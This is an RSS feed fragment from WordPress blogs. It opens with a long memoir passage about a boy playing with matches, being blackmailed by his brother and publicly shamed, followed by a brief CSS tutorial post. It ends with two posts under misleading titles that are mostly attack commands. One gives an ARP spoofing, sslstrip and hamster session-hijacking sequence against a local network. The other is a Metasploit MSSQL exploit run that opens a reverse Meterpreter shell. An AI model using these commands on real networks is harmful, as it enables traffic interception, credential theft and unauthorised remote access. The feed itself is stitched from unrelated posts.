<p>The better <em>good little boy</em> I became, the further my brother fell from our father&#8217;s favor. The two were always at odds with one another. It was there from my first recollections of them both. I never knew why their hostility existed, but as big brother grew older, the stronger was the animosity and the more violent their relationship became. I felt sorry for my brother, but he would never confide in me. He just silently sulked while passionately despising our father and making me feel somehow it was all my fault. My own psychological assessment of the relationship decades later was that my father had been jealous of the attention and affection my mother heaped upon her exalted first-born and so what we all had lived through was a twisted home version of <strong>Oedipus Rex</strong>. Whatever it was, it did not provide a nurturing environment, but I was determined to hold on to my hard-earned title of heir presumptive.</p>
<p>It was summer, after having completed second grade and making my first best friend, Lee. He had been in my class and we hit it off right from the start. He lived over on the next street. We were inseparable, especially now that we could play the entire week from morning until night. Our mothers knew each other for years, because Lee&#8217;s mom was our neighborhood Stanley Home Products representative. He had an older brother too, a year behind mine in high school. Lee&#8217;s brother was always nice to me; he talked with me like I was actually another person.  My brother called him a twerp, because he played sports and didn&#8217;t hang out with the hood-wanna-bees. Lee and I rode bikes, climbed trees in the &#8216;field&#8217;, an over-sized vacant lot at the end of my street and on rainy days, hung out at his house and played his older brother&#8217;s 45s on a special record player that let you stack up a dozen or more records to play one after another ad nauseam. It was the time when Ricky Nelson and Elvis ruled supreme.</p>
<p>Across the street from the vacant lot was a house where a family lived with three boys, all close in age like stair steps and all of them bad. At least this was the verdict of the mothers on our block. No one I knew was allowed to play with them, but they had each other, so they didn&#8217;t seem to mind being ostracized. Lee and I had run into the two older boys in the field. There were some wonderful old crab apple trees and we had a few crab apple fights with the brothers. There didn&#8217;t appear to be anything wrong with them, but being a <em>good little boy</em>, I did not want anyone&#8217;s mother on the street finding out I had not respected their boycott. The brothers appeared again in our lot one afternoon while we were climbing trees. Steve, the oldest, who was a year or so older than both of us, said he had stolen a pack of matches from his dad&#8217;s pocket. The boys were all worked up and announced they wanted to &#8220;burn shit&#8221;. I thought it seemed an odd thing to do, but Lee was instantly a captive audience so I was not about to be odd man out.</p>
<p>You used matches to light things, like cigarettes and cigars and birthday candles or occasionally the gas stove when the pilot light went out. It had never occurred to me to burn matches as a pastime. Here were these guys, completely mesmerized by the purloined book of matches and Steve, neighborhood bad boy, elevated to a near deity. He instructed us to gather up the litter that had blown into the overgrown lot.  Following his instructions, we brought our collected paper for him to categorize into various piles. He did so purposefully, demonstrating it was something he&#8217;d done many times before. We scrunched down into a small circle, squatting on our haunches to shield any wind which might hamper the fire and at the same time protecting ourselves from passersby who might blow the whistle on our illicit play. The Cleveland Transit System bus stop was right around the corner on the busiest thoroughfare in West Buttfok, so we had to be cautious.</p>
<p>Steve began lighting each pile of litter, while his younger brother provided the play-by-play: &#8220;awwhhh how cool&#8221;, &#8220;neat-oh, Stevie&#8221; and &#8220;tuff&#8221; or &#8220;sharp&#8221; for those really tall, crackling flames. In a matter of a few minutes he&#8217;d burned everything, including the book of matches itself. They crossed the street to go back home and Lee and I got on our bikes and high-tailed out of there. We knew it wasn&#8217;t just the forbidden sons we had defied our mothers by being with, but we understood that literally playing with fire was an even more enormous no-no. We had spent a week in our second grade class just a few months before learning about the dangers of forest fires, culminating by learning the &#8220;Smokey The Bear Song&#8221; in music class. I made my buddy Lee swear we would not hang out with those boys again, fearing we would soon become delinquents just like them.</p>
<p>Which of us was the first to sneak matches out of his house I do not remember. I do remember it came only days after evil Steve&#8217;s lesson in pyrotechnics. We both had parents who kept us on very short leashes and likewise trusted us implicitly because they knew we understood the boundaries they had set and that we<em> always</em> respected them &#8211; that is &#8211; until we began playing with matches. Once we started, we were instantly addicted to fire and we both became brazen scofflaws. Our routine went something like this. If Lee brought matches from his house in the morning, I brought them for the afternoon session. We even created a code word &#8220;Can you bring the M &#38; Ms?&#8221; I remember one day my mother overheard Lee asking me this as we left my house and she called after me, &#8220;Where in the world did you buy candy?&#8221; I turned twenty shades of red and ran out the door because I was an excellent match thief but a lousy liar.</p>
<p>My parents always bought Ohio Blue Tip Matches. They were wooden matches that came in small cardboard boxes, the covers decorated in a theme. Sold in a package of about forty of these little boxes, I remember at the time each had a different American Bird pictured. They were kept on the very top shelf in the cupboard over the kitchen sink. I would have to crawl up onto the counter and balance on tippy-toes to reach them. Normally a supply of these lasted months in our house. Now, with our daily needs, they were going quickly. I was clever enough to pilfer my contribution when no one was looking, but not smart enough to consider that soon someone might notice how many were missing. This was not, however, the way we were found out.</p>
<p>Lee had a very small backyard and mine was visible to too many houses, so we had no choice but to use our field. We would carefully enter from the opposite side so that the bad boys didn&#8217;t see us, fearing they might hijack our private fire sessions. Unlike Steve who was solely into &#8220;burning shit&#8221;, we had a true passion for the flame and became creative, putting together unique combinations of things to see how they would blaze, prolonging the fire and constantly striving to maintain its control. We were playing in a wooded lot in the middle of a hot summer, surrounded by feet high of dried grasses and weeds, yet we tried to be as responsible as eight-year-old boys with a two pack a day habit could be. We weren&#8217;t being bad, we assured one another, we were like scientists experimenting.</p>
<p>At about two-thirds of the way through my parents&#8217; supply of box matches one late summer afternoon, we were burning inside a discarded cinder block. We learned it contained the fire and directed the flames higher, creating a wonderfully intense tongue of orange and yellow several feet high. As it flared to its pinnacle, the local bus stopped and discharged Mrs. V, a waitress who worked at the restaurant in our shopping center. If we hadn&#8217;t been so successful in our endeavor we might have been able to conceal the fire, but it was huge.</p>
<p>&#8220;Oh my Lord&#8221;, she cried, &#8220;what are you boys doing?&#8221;  She had no idea who Lee was but she certainly knew me all too well. She lived up the street a few houses and my brother was buddies with her sons. She came running towards us in her white uniform and nurses shoes to make sure the fire was under control. We had just about stomped it out by the time she&#8217;d reached me. &#8220;What would your mother say if she knew you were playing with matches?&#8221;, she chastised me inches away from my very guilty face. &#8220;Please don&#8217;t tell my Mom!&#8221; I wailed in fright. &#8220;You have to promise me you will never, ever play with fire anymore.&#8221; she pleaded. I agreed with all the veracity I could muster. We watched her chubby little legs carry her home. I knew I had been so scared by her discovery that I would have no problem keeping my promise. I only prayed she would keep hers.</p>
<p>A few nights later, as my brother washed dishes, and I dried them, my father came into the kitchen, his unlit after supper cigar between his teeth. He reached into the package of matches on the top shelf to grab a box, grunting &#8220;What the hell is your mother burning with all those matches? I just bought these a few weeks ago&#8221;. I blanched as white as the kitchen sink, fearing I would soon be found out. Once my father left, my brother turned with a hellish smirk that smacked of trouble.  Slowly he began, &#8220;Mom isn&#8217;t burning anything, is she? I saw Mrs. V today.&#8221; He was pacing himself to make me suffer. The last drops of blood from my ashen face oozed into my feet. He knew<em> EVERYTHING. </em>&#8220;Please don&#8217;t tell Mom!&#8221; I quietly squealed so my parents didn&#8217;t hear our conversation in the next room. &#8220;Don&#8217;t worry, I won&#8217;t tell Mom. I won&#8217;t tell Dad either&#8221;. Could he be serious? Would he really cover for me? I could not image him ever being that kind to his little brother, not with this morsel of information which could totally undo all the good I had accomplished in my time on this earth. He told me he&#8217;d never say a thing, as long as I did whatever he wanted me to do. In essence, I was to become his personal slave for the remainder of the summer. It seemed little payment for so great a favor.</p>
<p>For the first week, things went rather well. I made his bed, straightened up his room, did odd chores he was expected to do. What I resented was doing his biding like: &#8220;Get me something to drink&#8221;, &#8220;Give me your allowance&#8221; (25 cents a week!), &#8220;Make me a sandwich&#8221;. Those things made me boil. But I complied without a peep. It was too dangerous to risk the consequences and he would carry through without hesitation. Not too long after, on a hot Saturday afternoon, my brother was washing our car because we were going on a family picnic to Whipp&#8217;s Ledges Reservation the next day. The entire family attended - grandparents, aunts, uncles and cousins &#8211; a dozen of us. We did it every year and it was one of the funnest places to all be together. Not only would we picnic from dawn to dusk in the beautiful wooded park, eating ourselves sick the entire day, the place had incredible rock ledges to climb and we kids played until exhausted. I loved being with my cousins who were like the sisters I didn&#8217;t have.</p>
<p>Brother was angry since he couldn&#8217;t pass the car cleaning duty off onto me because I was too young and my father expected him to do it. It would give Dad an excuse to criticize my brother and scream at him for doing a disappointing job. Brother drafted me as his go-fer. He was running me ragged and enjoying every second of my indentured duty. In the course of an hour or so I had hauled buckets, rags, sponges of every shape and color, cleaners and towels till I thought I would drop from the sun and his commands. The final blow came when he requested a drink of water. The first time it was too small a glass, the second too warm. He demanded a big glass with tons of ice. I&#8217;d had it with being his manservant. I filled one of our tall, aluminum tumblers with ice cubes to the top, added half a dozen healthy shakes of tabasco sauce out of spite, then filled it with cold, cold water. I handed it to him, watching the entire glass gulped in seconds. As he gave it back, ready to belch and make me laugh like always, the hotness hit and he screwed up his face and began choking, fanning his burning open mouth. It took a minute or so, but he found his voice and spat out &#8220;You&#8230;are&#8230;going&#8230;to&#8230;DIE for this!&#8221;</p>
<p>Of course he flew into the house, called our parents into the kitchen and told them what Mrs V had seen and said. He explained to my father where all his Ohio Blue Tip matches had gone. I heard it all through the open kitchen window, standing in the driveway by the dripping car in the sun, realizing that my life as I knew it was now over. This wasn&#8217;t a small infraction. They might even send me away to reform school over this. That was always my father&#8217;s last resort threat to my brother when he ran out of swear words and insults. I had no idea where this horrendous school was, but I sensed I might find out very soon. I just wanted to die.</p>
<p>They called me into the house and my mother began ranting before I was even in their sight. &#8220;How could you do this? Why did you do this? Was it Lee&#8217;s idea? You could have burned the field down! You could have burned a house down!! What&#8217;s the matter with you?&#8221;. I just let her go on and on. I knew she didn&#8217;t want me to answer her questions because she wasn&#8217;t listening to anyone but herself. And there were no answers to any of her questions anyway. The entire time my father never said a word. He looked at me like he couldn&#8217;t believe it, or perhaps didn&#8217;t want to believe I could have ever done anything so&#8230;&#8230;bad. My mother continued painfully overacting her private mad scene until I simply tuned her out. Once I did, I remember feeling totally overwhelmed by shame.</p>
<p>Then came the punishment. At first my father said I would not go to the family picnic the next day, but instead be locked in the storage area of the basement for the day. My mother reminded him I was only eight and was not responsible enough to stay in the house alone. &#8220;For God&#8217;s sake he might burn our house down before we get home!&#8221;. No, it was decided I would go to the picnic but I could not talk to anyone or, of course, play at all. I would sit at my own table away from everyone. She immediately got on the telephone, calling everyone in the family to tell them the story of her evil child who&#8217;d spent his summer vacation playing with matches. I was mortified.</p>
<p>What should have been a fun car ride was odious. My mother would not stop carrying on the drama of what might have happened, how ashamed she was, or how she could &#8220;never ever even hold her head up&#8221; the next time she saw Mrs. V. My brother just sat in the back seat next to me, shit eating grin from ear to ear. God how I hated his guts now. He had finally given me a reason to want to see him dead in his coffin and oh I did! Once we arrived at the park, I silently helped unload our car. The family was uneasy and not bubbly and fun like usual. I kept my eyes aimed at my sneakers, not wanting to risk a false move of any kind. I was once again the center of attention, but this time because I was their pariah. My father walked me to the next wooden picnic table over from where my mother was setting up things for our family. &#8220;You sit here by yourself and behave&#8221;, he said it sternly but without anger. I felt like a fool.</p>
<p>Then it started. One by one each member of the family came to my isolated table, sat next to me and warned me of the many dangers of playing with matches. I knew my mother had put them up to it because it was so obviously choreographed and luckily some were uncomfortable, having to counsel somebody else&#8217;s kid so they were brief. It was Gramma who really got to me. She didn&#8217;t even sit down. She stood several feet away and shouted &#8220;firebug!&#8221;, which echoed into the open woods. I wondered where she&#8217;d even heard that word before. It stung the most. And with that lone pejorative she turned and walked away from me. It was a public shaming and the bitterest of medicines to swallow.</p>
<p>I didn&#8217;t spend the entire day alone at my table of disgrace. Once everyone started eating, my mother fixed me a plate and halfway en route delivering it, she told me to take it and go sit next to my father. When everyone went off to the ledges in the woods, Gramma relented and called me over to her table. The men were all playing cards, drinking beer, listening to the ball game on a transistor radio. She wrapped her arms around me and talked softly, rocking a big eight-year-old baby, telling me I really was a good boy but that I needed to pray hard to keep out of trouble. It was the first time since Mrs. V&#8217;s unfortunate discovery that I felt there was still hope for me and my hard-earned status in the family.</p>
<p><a href="http://gaydinosaurtales.files.wordpress.com/2012/07/whippsledges.jpg"><img class="aligncenter size-full wp-image-872" title="whippsLedges" src="http://gaydinosaurtales.files.wordpress.com/2012/07/whippsledges.jpg?w=538&#038;h=403" alt="" width="538" height="403" /></a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Easy CSS]]></title>
<link>http://signotes.wordpress.com/2012/07/18/easy-css/</link>
<pubDate>Wed, 18 Jul 2012 06:01:58 +0000</pubDate>
<dc:creator>Mark</dc:creator>
<guid>http://signotes.wordpress.com/2012/07/18/easy-css/</guid>
<description><![CDATA[To do this tutorial you must have a &#8220;WordPress.org&#8221; site or &#8220;WordPress&#8221; runn]]></description>
<content:encoded><![CDATA[<p>To do this tutorial you must have a &#8220;WordPress.org&#8221; site or &#8220;WordPress&#8221; running locally on your computer. You must have the &#8220;Chrome&#8221; web-browser or &#8220;Firefox &#8220;with the &#8220;Firebug&#8221; extension installed.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='640' height='390' src='http://www.youtube.com/embed/956IDvJ2Aa0?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Go to w3schools.com for a list of <a title="CSS Commands" href="http://www.w3schools.com/cssref/default.asp" target="_blank">CSS commands</a>.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Don't Try This at Home is the second album by the American jazz saxophonist]]></title>
<link>http://myexploit.wordpress.com/2012/07/16/dont-try-this-at-home-is-the-second-album-by-the-american-jazz-saxophonist/</link>
<pubDate>Mon, 16 Jul 2012 16:31:12 +0000</pubDate>
<dc:creator>myexploit</dc:creator>
<guid>http://myexploit.wordpress.com/2012/07/16/dont-try-this-at-home-is-the-second-album-by-the-american-jazz-saxophonist/</guid>
<description><![CDATA[&nbsp; 1. echo 1 &gt; /proc/sys/net/ipv4/ip_foward arpspoof -i eth0 -t 192.168.1.104 192.168.1.1 2.]]></description>
<content:encoded><![CDATA[<p>&#160;</p>
<p>1.<br />
echo 1 &#62; /proc/sys/net/ipv4/ip_foward<br />
arpspoof -i eth0 -t 192.168.1.104 192.168.1.1</p>
<p>2.<br />
ip tables -t nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-ports 10000<br />
sslstrip -p -k -f</p>
<p>3.<br />
/pentest/sniffers/hamster/ferret -i eth0</p>
<p>4.<br />
/pentest/sniffers/hamster/hamster</p>
<p>5.<br />
Firefox set proxy to 127.0.0.1 port 1234</p>
<p>6. <a href="http://hamster" rel="nofollow">http://hamster</a></p>
<p>press refresh and any person on 192.168.1.1 network accessing port http site should show up</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[10,523 Important People Who Were Screwed Out of History Books .... ]]></title>
<link>http://myexploit.wordpress.com/2012/07/16/10523-important-people-who-were-screwed-out-of-history-books/</link>
<pubDate>Mon, 16 Jul 2012 11:40:42 +0000</pubDate>
<dc:creator>myexploit</dc:creator>
<guid>http://myexploit.wordpress.com/2012/07/16/10523-important-people-who-were-screwed-out-of-history-books/</guid>
<description><![CDATA[msf exploit(ms09_004_sp_replwritetovarbin) &gt; use exploit/windows/mssql/ms09_004_sp_replwritetovar]]></description>
<content:encoded><![CDATA[<p><code>msf exploit(ms09_004_sp_replwritetovarbin) &#62; use exploit/windows/mssql/ms09_004_sp_replwritetovarbin</code></p>
<p>msf exploit(ms09_004_sp_replwritetovarbin) &#62; set lhost Tester-IP-Address</p>
<p>msf exploit(ms09_004_sp_replwritetovarbin) &#62; set rhost Client-IP-Address</p>
<p>msf exploit(ms09_004_sp_replwritetovarbin) &#62; exploit</p>
<p>[*] Started reverse handler on Tester-IP-Address:4444<br />
[*] Attempting automatic target detection&#8230;<br />
[*] Automatically detected target &#8220;MSSQL 2005 SP0 (9.00.1399.06)&#8221;<br />
[*] Redirecting flow to 0x10e860f via call to our faked vtable ptr @ 0x2201ca8<br />
[*] Sending stage (752128 bytes) to Client-IP-Address<br />
[*] Meterpreter session 2 opened (Tester-IP-Address:4444 -&#62; Client-IP-Address:1053) at 1433-02-01 12:26:12 +0100</p>
<p>meterpreter &#62; shell<br />
Process 2324 created.<br />
Channel 1 created.<br />
Microsoft Windows XP [Version 5.1.2600]<br />
(C) Copyright 1985-2001 Microsoft Corp.</p>
<p>C:\WINDOWS\system32&#62;</p>
<p><a href="http://www.myexploit.wordpress.com/mock-pentest-one/" target="_blank">http://www.myexploit.wordpress.com/mock-pentest-one/</a></p>
<p style="text-align:right;">#MyExploitHQ</p>
]]></content:encoded>
</item>

</channel>
</rss>
